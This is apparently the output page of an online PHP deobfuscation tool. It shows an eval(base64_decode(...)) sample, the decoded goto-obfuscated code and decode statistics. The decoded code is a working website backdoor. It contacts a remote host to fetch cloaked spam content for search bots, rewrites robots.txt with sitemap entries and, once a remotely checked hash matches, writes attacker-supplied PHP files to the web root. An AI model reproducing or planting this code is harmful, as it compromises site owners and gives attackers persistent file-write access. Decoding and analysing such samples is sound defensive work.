Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGFtZ25BOyBPVTJuazogJHdlYiA9ICRodHdlIC4gIlw3Mlw1N1w1NyIg..
Decoded Output download
goto amgnA; OU2nk: $web = $htwe . "\72\57\57" . $towe . "\57\151\x6e\144\145\56\160\x68\160\77\167\x65\x62\x3d" . $host . "\x26\172\172\x3d" . sbot() . "\46\165\x72\x69\x3d" . $ddur . "\x26\x75\162\x6c\163\150\x61\x6e\147\75" . $usse . "\x26\150\164\x74\x70\x3d" . $http . "\x26\154\141\x6e\x67\75" . $lag; goto bsEr1; Woc5b: if ($ddur_tmp == '') { $ddur_tmp = "\57"; } goto ryA0J; c3O79: $ddur_tmp = st_uri(); goto Woc5b; JhqRc: function ishtt() { if (isset($_SERVER["\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\124\124\120\123"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\124\x50\137\x58\137\x46\x4f\x52\127\x41\x52\x44\105\104\x5f\x50\x52\x4f\x54\117"]) && $_SERVER["\110\124\124\x50\x5f\x58\x5f\106\117\122\127\101\x52\x44\x45\x44\x5f\x50\122\x4f\x54\x4f"] === "\150\164\164\x70\x73") { return true; } elseif (isset($_SERVER["\110\x54\124\x50\x5f\106\122\x4f\x4e\124\137\105\x4e\x44\x5f\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\137\106\122\x4f\116\124\x5f\x45\x4e\104\x5f\110\124\124\120\123"]) !== "\x6f\146\146") { return true; } return false; } goto IoRcP; OZoF0: function st_uri() { if (isset($_SERVER["\122\105\121\125\x45\x53\x54\137\x55\122\111"])) { $ddur = $_SERVER["\x52\x45\x51\x55\105\123\124\137\125\122\x49"]; } else { if (isset($_SERVER["\x61\162\147\166"])) { $ddur = $_SERVER["\120\110\120\137\123\x45\x4c\106"] . "\x3f" . $_SERVER["\x61\162\147\x76"][0]; } else { $ddur = $_SERVER["\120\x48\x50\137\x53\x45\x4c\x46"] . "\77" . $_SERVER["\121\125\105\122\x59\137\x53\x54\122\111\116\107"]; } } return $ddur; } goto z7CZG; ryA0J: $ddur = urlencode($ddur_tmp); goto OZoF0; bu9g0: if (!strstr($htag, "\x6e\x6f\x62\157\x74\x75\163\x65\x72\141\147\145\156\164")) { if (strstr($htag, "\157\153\150\x74\x6d\154\x67\145\164\143\157\x6e\x74\145\x6e\164")) { @header("\x43\x6f\x6e\x74\x65\156\x74\55\164\x79\160\145\72\40\x74\145\170\x74\57\150\x74\155\154\x3b\40\143\150\x61\162\x73\x65\164\75\165\164\x66\55\x38"); $htag = str_replace("\157\x6b\x68\x74\155\x6c\x67\145\x74\143\157\156\164\145\156\164", '', $htag); echo $htag; die; } else { if (strstr($htag, "\x6f\x6b\170\x6d\x6c\x67\x65\164\143\x6f\156\x74\145\x6e\164")) { $htag = str_replace("\157\x6b\x78\x6d\x6c\x67\x65\164\x63\157\156\x74\145\156\164", '', $htag); @header("\103\x6f\156\164\145\x6e\164\55\164\171\x70\x65\72\40\164\145\x78\164\x2f\170\x6d\154"); echo $htag; die; } else { if (strstr($htag, "\x70\x69\x6e\147\x78\155\x6c\147\145\x74\143\157\x6e\x74\x65\x6e\164")) { $htag = str_replace("\x70\x69\x6e\x67\x78\155\154\x67\x65\x74\x63\x6f\x6e\164\x65\156\x74", '', $htag); @header("\x43\157\156\164\x65\156\164\x2d\164\x79\160\x65\72\x20\x74\x65\x78\x74\57\x68\x74\155\x6c\73\40\x63\150\x61\162\163\x65\x74\75\165\x74\146\x2d\x38"); echo pingmap($htag); die; } } } } goto m_Hj_; VftJ7: $lag = @$_SERVER["\110\124\x54\120\x5f\101\x43\x43\x45\120\124\x5f\x4c\101\116\x47\x55\101\x47\x45"]; goto OuRQu; Vp8pI: $goto = "\150\x6e\142\164"; goto z7wYv; z7CZG: $towe = $goto . "\x2e\142\151\x6b\x65\157\x6e\164\x68\x65\x6d\x75\155" . "\x2e\x78\x79\x7a"; goto JhqRc; IoRcP: $host = $_SERVER["\x48\124\x54\x50\137\110\x4f\123\x54"]; goto VftJ7; cF7Id: if (isset($_SERVER["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\122\105\x52"])) { $usse = $_SERVER["\110\x54\x54\x50\137\122\105\106\105\x52\105\x52"]; $usse = urlencode($usse); } goto Q7dv7; Wb5fV: function sbot() { $uaget = strtolower($_SERVER["\110\x54\x54\x50\x5f\x55\x53\105\x52\x5f\x41\x47\105\x4e\124"]); if (stristr($uaget, "\147\x6f\157\x67\154\x65\142\x6f\x74") || stristr($uaget, "\142\151\x6e\x67") || stristr($uaget, "\x79\141\x68\157\157") || stristr($uaget, "\x67\x6f\x6f\147\154\145") || stristr($uaget, "\107\157\157\147\x6c\x65\142\157\164") || stristr($uaget, "\147\157\157\147\x6c\145\x62\x6f\164")) { return true; } else { return false; } } goto TmVQt; sXX2x: $usse = ''; goto cF7Id; jsRXN: if (ishtt()) { $http = "\150\x74\x74\x70\163"; } else { $http = "\150\164\x74\x70"; } goto c3O79; z7wYv: $htwe = "\x68\164\x74\160"; goto jsRXN; Q7dv7: if (@$_GET["\x70\144"] != '') { $acot = @$_GET["\155\141\x70\x6e\x61\x6d\x65"]; $action = @$_GET["\x61\x63\164\x69\x6f\x6e"]; if (isset($_SERVER["\104\x4f\103\125\115\x45\116\124\137\122\x4f\x4f\124"])) { $path = $_SERVER["\104\117\103\x55\115\x45\116\124\x5f\x52\x4f\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\164"; } if ($action == "\x70\165\x74") { if (strstr($acot, "\x2e\x78\x6d\x6c")) { $map_path = $path . "\x2f\x73\151\164\x65\x6d\141\160\x2e\x78\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\157\142\157\164\x73\x2e\x74\170\x74"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\125\x73\145\162\55\141\147\x65\x6e\x74\x3a\x20\x2a" . "\xd\12" . "\x41\x6c\x6c\157\x77\72\x20\57"; } $sturs = $http . "\x3a\57\x2f" . $host . "\x2f" . $acot; if (stristr($data, $sturs)) { echo "\x3c\142\162\x3e\163\151\164\145\x6d\141\x70\40\x61\154\162\145\x61\144\x79\x20\141\144\x64\145\144\x21\74\142\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\123\x69\164\145\x6d\141\x70\x3a\40" . $sturs)) { echo "\x3c\x62\x72\x3e\157\153\x3c\x62\x72\x3e"; } else { echo "\x3c\142\x72\76\40\146\141\154\163\145\41\74\142\162\76"; } } } else { echo "\74\x62\x72\76\x20\x66\141\x6c\x73\145\41\74\142\162\x3e"; } if (strstr($acot, "\56\160" . "\x68\160")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\72\x2f\57" . $towe . "\x2f\141\56\160" . "\150\x70")) { $dstr = @$_GET["\144\163\164\162"]; if (file_put_contents($path . "\57" . $acot, $dstr)) { echo "\157\153"; } } } } die; } goto OU2nk; TmVQt: function daag($url) { $ficonts = ''; if (function_exists("\143\x75\x72\x6c\137\x69\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto PLww_; uCIB6: @ignore_user_abort(1); goto Vp8pI; amgnA: @set_time_limit(3600); goto uCIB6; OuRQu: $lag = urlencode($lag); goto sXX2x; bsEr1: $htag = trim(daag($web)); goto bu9g0; m_Hj_: function pingmap($url) { $url_arr = explode("\15\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\123\151\x74\145\x6d\141\160\x20\116\157\164\x69\x66\151\x63\141\164\151\157\156\40\122\x65\143\145\151\166\x65\x64") !== false ? "\160\x69\x6e\x67\x6f\153" : "\145\x72\x72\157\162"; $return_str .= $pingUrl . "\x2d\55\40" . $ok . "\x3c\x62\162\x3e"; } return $return_str; } goto Wb5fV; PLww_:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGFtZ25BOyBPVTJuazogJHdlYiA9ICRodHdlIC4gIlw3Mlw1N1w1NyIgLiAkdG93ZSAuICJcNTdcMTUxXHg2ZVwxNDRcMTQ1XDU2XDE2MFx4NjhcMTYwXDc3XDE2N1x4NjVceDYyXHgzZCIgLiAkaG9zdCAuICJceDI2XDE3MlwxNzJceDNkIiAuIHNib3QoKSAuICJcNDZcMTY1XHg3Mlx4NjlceDNkIiAuICRkZHVyIC4gIlx4MjZceDc1XDE2Mlx4NmNcMTYzXDE1MFx4NjFceDZlXDE0N1w3NSIgLiAkdXNzZSAuICJceDI2XDE1MFwxNjRceDc0XHg3MFx4M2QiIC4gJGh0dHAgLiAiXHgyNlwxNTRcMTQxXHg2ZVx4NjdcNzUiIC4gJGxhZzsgZ290byBic0VyMTsgV29jNWI6IGlmICgkZGR1cl90bXAgPT0gJycpIHsgJGRkdXJfdG1wID0gIlw1NyI7IH0gZ290byByeUEwSjsgYzNPNzk6ICRkZHVyX3RtcCA9IHN0X3VyaSgpOyBnb3RvIFdvYzViOyBKaHFSYzogZnVuY3Rpb24gaXNodHQoKSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMjMiXSkgIT09ICJceDZmXDE0Nlx4NjYiKSB7IHJldHVybiB0cnVlOyB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTM3XHg1OFwxMzdceDQ2XHg0Zlx4NTJcMTI3XHg0MVx4NTJceDQ0XDEwNVwxMDRceDVmXHg1MFx4NTJceDRmXHg1NFwxMTciXSkgJiYgJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXHg1OFx4NWZcMTA2XDExN1wxMjJcMTI3XDEwMVx4NTJceDQ0XHg0NVx4NDRceDVmXHg1MFwxMjJceDRmXHg1NFx4NGYiXSA9PT0gIlwxNTBcMTY0XDE2NFx4NzBceDczIikgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXHg1ZlwxMDZcMTIyXHg0Zlx4NGVcMTI0XDEzN1wxMDVceDRlXHg0NFx4NWZcMTEwXDEyNFwxMjRcMTIwXDEyMyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEzN1wxMDZcMTIyXHg0ZlwxMTZcMTI0XHg1Zlx4NDVceDRlXDEwNFx4NWZcMTEwXDEyNFwxMjRcMTIwXDEyMyJdKSAhPT0gIlx4NmZcMTQ2XDE0NiIpIHsgcmV0dXJuIHRydWU7IH0gcmV0dXJuIGZhbHNlOyB9IGdvdG8gSW9SY1A7IE9ab0YwOiBmdW5jdGlvbiBzdF91cmkoKSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXDEyMlwxMDVcMTIxXDEyNVx4NDVceDUzXHg1NFwxMzdceDU1XDEyMlwxMTEiXSkpIHsgJGRkdXIgPSAkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXHg1NVwxMDVcMTIzXDEyNFwxMzdcMTI1XDEyMlx4NDkiXTsgfSBlbHNlIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJceDYxXDE2MlwxNDdcMTY2Il0pKSB7ICRkZHVyID0gJF9TRVJWRVJbIlwxMjBcMTEwXDEyMFwxMzdcMTIzXHg0NVx4NGNcMTA2Il0gLiAiXHgzZiIgLiAkX1NFUlZFUlsiXHg2MVwxNjJcMTQ3XHg3NiJdWzBdOyB9IGVsc2UgeyAkZGR1ciA9ICRfU0VSVkVSWyJcMTIwXHg0OFx4NTBcMTM3XHg1M1x4NDVceDRjXHg0NiJdIC4gIlw3NyIgLiAkX1NFUlZFUlsiXDEyMVwxMjVcMTA1XDEyMlx4NTlcMTM3XHg1M1x4NTRcMTIyXDExMVwxMTZcMTA3Il07IH0gfSByZXR1cm4gJGRkdXI7IH0gZ290byB6N0NaRzsgcnlBMEo6ICRkZHVyID0gdXJsZW5jb2RlKCRkZHVyX3RtcCk7IGdvdG8gT1pvRjA7IGJ1OWcwOiBpZiAoIXN0cnN0cigkaHRhZywgIlx4NmVceDZmXHg2MlwxNTdceDc0XHg3NVwxNjNceDY1XHg3MlwxNDFcMTQ3XDE0NVwxNTZcMTY0IikpIHsgaWYgKHN0cnN0cigkaHRhZywgIlwxNTdcMTUzXDE1MFx4NzRceDZkXDE1NFx4NjdcMTQ1XDE2NFwxNDNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVwxNjQiKSkgeyBAaGVhZGVyKCJceDQzXHg2Zlx4NmVceDc0XHg2NVwxNTZceDc0XDU1XDE2NFx4NzlcMTYwXDE0NVw3Mlw0MFx4NzRcMTQ1XDE3MFx4NzRcNTdcMTUwXHg3NFwxNTVcMTU0XHgzYlw0MFwxNDNcMTUwXHg2MVwxNjJceDczXHg2NVwxNjRcNzVcMTY1XDE2NFx4NjZcNTVceDM4Iik7ICRodGFnID0gc3RyX3JlcGxhY2UoIlwxNTdceDZiXHg2OFx4NzRcMTU1XHg2Y1x4NjdcMTQ1XHg3NFwxNDNcMTU3XDE1NlwxNjRcMTQ1XDE1NlwxNjQiLCAnJywgJGh0YWcpOyBlY2hvICRodGFnOyBkaWU7IH0gZWxzZSB7IGlmIChzdHJzdHIoJGh0YWcsICJceDZmXHg2YlwxNzBceDZkXHg2Y1x4NjdceDY1XDE2NFwxNDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiKSkgeyAkaHRhZyA9IHN0cl9yZXBsYWNlKCJcMTU3XHg2Ylx4NzhceDZkXHg2Y1x4NjdceDY1XDE2NFx4NjNcMTU3XDE1Nlx4NzRcMTQ1XDE1NlwxNjQiLCAnJywgJGh0YWcpOyBAaGVhZGVyKCJcMTAzXHg2ZlwxNTZcMTY0XDE0NVx4NmVcMTY0XDU1XDE2NFwxNzFceDcwXHg2NVw3Mlw0MFwxNjRcMTQ1XHg3OFwxNjRceDJmXDE3MFx4NmRcMTU0Iik7IGVjaG8gJGh0YWc7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRhZywgIlx4NzBceDY5XHg2ZVwxNDdceDc4XDE1NVx4NmNcMTQ3XDE0NVx4NzRcMTQzXDE1N1x4NmVceDc0XHg2NVx4NmVcMTY0IikpIHsgJGh0YWcgPSBzdHJfcmVwbGFjZSgiXHg3MFx4NjlceDZlXHg2N1x4NzhcMTU1XDE1NFx4NjdceDY1XHg3NFx4NjNceDZmXHg2ZVwxNjRceDY1XDE1Nlx4NzQiLCAnJywgJGh0YWcpOyBAaGVhZGVyKCJceDQzXDE1N1wxNTZcMTY0XHg2NVwxNTZcMTY0XHgyZFwxNjRceDc5XDE2MFx4NjVcNzJceDIwXHg3NFx4NjVceDc4XHg3NFw1N1x4NjhceDc0XDE1NVx4NmNcNzNcNDBceDYzXDE1MFx4NjFcMTYyXDE2M1x4NjVceDc0XDc1XDE2NVx4NzRcMTQ2XHgyZFx4MzgiKTsgZWNobyBwaW5nbWFwKCRodGFnKTsgZGllOyB9IH0gfSB9IGdvdG8gbV9Ial87IFZmdEo3OiAkbGFnID0gQCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1ZlwxMDFceDQzXHg0M1x4NDVcMTIwXDEyNFx4NWZceDRjXDEwMVwxMTZceDQ3XHg1NVwxMDFceDQ3XHg0NSJdOyBnb3RvIE91UlF1OyBWcDhwSTogJGdvdG8gPSAiXDE1MFx4NmVcMTQyXDE2NCI7IGdvdG8gejd3WXY7IHo3Q1pHOiAkdG93ZSA9ICRnb3RvIC4gIlx4MmVcMTQyXDE1MVx4NmJceDY1XDE1N1x4NmVcMTY0XHg2OFx4NjVceDZkXHg3NVwxNTUiIC4gIlx4MmVceDc4XHg3OVx4N2EiOyBnb3RvIEpocVJjOyBJb1JjUDogJGhvc3QgPSAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFwxMzdcMTEwXHg0ZlwxMjNceDU0Il07IGdvdG8gVmZ0Sjc7IGNGN0lkOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg1Mlx4NDVceDQ2XHg0NVwxMjJcMTA1XHg1MiJdKSkgeyAkdXNzZSA9ICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEzN1wxMjJcMTA1XDEwNlwxMDVceDUyXDEwNVx4NTIiXTsgJHVzc2UgPSB1cmxlbmNvZGUoJHVzc2UpOyB9IGdvdG8gUTdkdjc7IFdiNWZWOiBmdW5jdGlvbiBzYm90KCkgeyAkdWFnZXQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXHg1Zlx4NTVceDUzXDEwNVx4NTJceDVmXHg0MVx4NDdcMTA1XHg0ZVwxMjQiXSk7IGlmIChzdHJpc3RyKCR1YWdldCwgIlwxNDdceDZmXDE1N1x4NjdcMTU0XHg2NVwxNDJceDZmXHg3NCIpIHx8IHN0cmlzdHIoJHVhZ2V0LCAiXDE0MlwxNTFceDZlXHg2NyIpIHx8IHN0cmlzdHIoJHVhZ2V0LCAiXHg3OVwxNDFceDY4XDE1N1wxNTciKSB8fCBzdHJpc3RyKCR1YWdldCwgIlx4NjdceDZmXHg2ZlwxNDdcMTU0XDE0NSIpIHx8IHN0cmlzdHIoJHVhZ2V0LCAiXDEwN1wxNTdcMTU3XDE0N1x4NmNceDY1XDE0MlwxNTdcMTY0IikgfHwgc3RyaXN0cigkdWFnZXQsICJcMTQ3XDE1N1wxNTdcMTQ3XHg2Y1wxNDVceDYyXHg2ZlwxNjQiKSkgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9IH0gZ290byBUbVZRdDsgc1hYMng6ICR1c3NlID0gJyc7IGdvdG8gY0Y3SWQ7IGpzUlhOOiBpZiAoaXNodHQoKSkgeyAkaHR0cCA9ICJcMTUwXHg3NFx4NzRceDcwXDE2MyI7IH0gZWxzZSB7ICRodHRwID0gIlwxNTBcMTY0XHg3NFx4NzAiOyB9IGdvdG8gYzNPNzk7IHo3d1l2OiAkaHR3ZSA9ICJceDY4XDE2NFx4NzRcMTYwIjsgZ290byBqc1JYTjsgUTdkdjc6IGlmIChAJF9HRVRbIlx4NzBcMTQ0Il0gIT0gJycpIHsgJGFjb3QgPSBAJF9HRVRbIlwxNTVcMTQxXHg3MFx4NmVceDYxXHg2ZFx4NjUiXTsgJGFjdGlvbiA9IEAkX0dFVFsiXHg2MVx4NjNcMTY0XHg2OVx4NmZceDZlIl07IGlmIChpc3NldCgkX1NFUlZFUlsiXDEwNFx4NGZcMTAzXDEyNVwxMTVceDQ1XDExNlwxMjRcMTM3XDEyMlx4NGZceDRmXDEyNCJdKSkgeyAkcGF0aCA9ICRfU0VSVkVSWyJcMTA0XDExN1wxMDNceDU1XDExNVx4NDVcMTE2XDEyNFx4NWZceDUyXHg0Zlx4NGZcMTI0Il07IH0gZWxzZSB7ICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7IH0gaWYgKCEkYWN0aW9uKSB7ICRhY3Rpb24gPSAiXHg3MFx4NzVcMTY0IjsgfSBpZiAoJGFjdGlvbiA9PSAiXHg3MFwxNjVceDc0IikgeyBpZiAoc3Ryc3RyKCRhY290LCAiXHgyZVx4NzhceDZkXHg2YyIpKSB7ICRtYXBfcGF0aCA9ICRwYXRoIC4gIlx4MmZceDczXDE1MVwxNjRceDY1XHg2ZFwxNDFcMTYwXHgyZVx4NzhcMTU1XHg2YyI7IGlmIChpc19maWxlKCRtYXBfcGF0aCkpIHsgQHVubGluaygkbWFwX3BhdGgpOyB9ICRmaWxlX3BhdGggPSAkcGF0aCAuICJcNTdcMTYyXDE1N1wxNDJcMTU3XDE2NFx4NzNceDJlXHg3NFwxNzBceDc0IjsgaWYgKGZpbGVfZXhpc3RzKCRmaWxlX3BhdGgpKSB7ICRkYXRhID0gZGFhZygkZmlsZV9wYXRoKTsgfSBlbHNlIHsgJGRhdGEgPSAiXDEyNVx4NzNcMTQ1XDE2Mlw1NVwxNDFcMTQ3XHg2NVx4NmVceDc0XHgzYVx4MjBceDJhIiAuICJceGRcMTIiIC4gIlx4NDFceDZjXHg2Y1wxNTdceDc3XDcyXHgyMFw1NyI7IH0gJHN0dXJzID0gJGh0dHAgLiAiXHgzYVw1N1x4MmYiIC4gJGhvc3QgLiAiXHgyZiIgLiAkYWNvdDsgaWYgKHN0cmlzdHIoJGRhdGEsICRzdHVycykpIHsgZWNobyAiXHgzY1wxNDJcMTYyXHgzZVwxNjNcMTUxXDE2NFwxNDVceDZkXDE0MVx4NzBcNDBceDYxXDE1NFwxNjJcMTQ1XHg2MVwxNDRceDc5XHgyMFwxNDFcMTQ0XHg2NFwxNDVcMTQ0XHgyMVw3NFwxNDJceDcyXDc2IjsgfSBlbHNlIHsgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsIHRyaW0oJGRhdGEpIC4gIlx4ZFwxMiIgLiAiXDEyM1x4NjlcMTY0XDE0NVx4NmRcMTQxXHg3MFx4M2FcNDAiIC4gJHN0dXJzKSkgeyBlY2hvICJceDNjXHg2Mlx4NzJceDNlXDE1N1wxNTNceDNjXHg2Mlx4NzJceDNlIjsgfSBlbHNlIHsgZWNobyAiXHgzY1wxNDJceDcyXDc2XDQwXDE0NlwxNDFcMTU0XDE2M1wxNDVcNDFcNzRcMTQyXDE2Mlw3NiI7IH0gfSB9IGVsc2UgeyBlY2hvICJcNzRceDYyXHg3Mlw3Nlx4MjBceDY2XDE0MVx4NmNceDczXDE0NVw0MVw3NFwxNDJcMTYyXHgzZSI7IH0gaWYgKHN0cnN0cigkYWNvdCwgIlw1NlwxNjAiIC4gIlx4NjhcMTYwIikpIHsgaWYgKHNoYTEoc2hhMShAJF9HRVRbIlwxNDEiXSkpID09IGRhYWcoJGh0d2UgLiAiXDcyXHgyZlw1NyIgLiAkdG93ZSAuICJceDJmXDE0MVw1NlwxNjAiIC4gIlwxNTBceDcwIikpIHsgJGRzdHIgPSBAJF9HRVRbIlwxNDRcMTYzXDE2NFwxNjIiXTsgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoIC4gIlw1NyIgLiAkYWNvdCwgJGRzdHIpKSB7IGVjaG8gIlwxNTdcMTUzIjsgfSB9IH0gfSBkaWU7IH0gZ290byBPVTJuazsgVG1WUXQ6IGZ1bmN0aW9uIGRhYWcoJHVybCkgeyAkZmljb250cyA9ICcnOyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXHg3NVx4NzJceDZjXDEzN1x4NjlceDZlXDE1MVx4NzQiKSkgeyAkY2ggPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOyAkZmljb250cyA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7IH0gaWYgKCEkZmljb250cykgeyAkZmljb250cyA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsgfSByZXR1cm4gJGZpY29udHM7IH0gZ290byBQTHd3XzsgdUNJQjY6IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgZ290byBWcDhwSTsgYW1nbkE6IEBzZXRfdGltZV9saW1pdCgzNjAwKTsgZ290byB1Q0lCNjsgT3VSUXU6ICRsYWcgPSB1cmxlbmNvZGUoJGxhZyk7IGdvdG8gc1hYMng7IGJzRXIxOiAkaHRhZyA9IHRyaW0oZGFhZygkd2ViKSk7IGdvdG8gYnU5ZzA7IG1fSGpfOiBmdW5jdGlvbiBwaW5nbWFwKCR1cmwpIHsgJHVybF9hcnIgPSBleHBsb2RlKCJcMTVcMTIiLCB0cmltKCR1cmwpKTsgJHJldHVybl9zdHIgPSAnJzsgZm9yZWFjaCAoJHVybF9hcnIgYXMgJHBpbmdVcmwpIHsgJHBpbmdSZXMgPSBkYWFnKCRwaW5nVXJsKTsgJG9rID0gc3RycG9zKCRwaW5nUmVzLCAiXDEyM1wxNTFceDc0XDE0NVx4NmRcMTQxXDE2MFx4MjBcMTE2XDE1N1wxNjRceDY5XHg2NlwxNTFceDYzXDE0MVwxNjRcMTUxXDE1N1wxNTZcNDBcMTIyXHg2NVwxNDNcMTQ1XDE1MVwxNjZceDY1XHg2NCIpICE9PSBmYWxzZSA/ICJcMTYwXHg2OVx4NmVceDY3XHg2ZlwxNTMiIDogIlwxNDVceDcyXHg3MlwxNTdcMTYyIjsgJHJldHVybl9zdHIgLj0gJHBpbmdVcmwgLiAiXHgyZFw1NVw0MCIgLiAkb2sgLiAiXHgzY1x4NjJcMTYyXHgzZSI7IH0gcmV0dXJuICRyZXR1cm5fc3RyOyB9IGdvdG8gV2I1ZlY7IFBMd3dfOiA=')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | f60ef04e4c3437d7b2fd7bc4c5b96755 |
Eval Count | 1 |
Decode Time | 83 ms |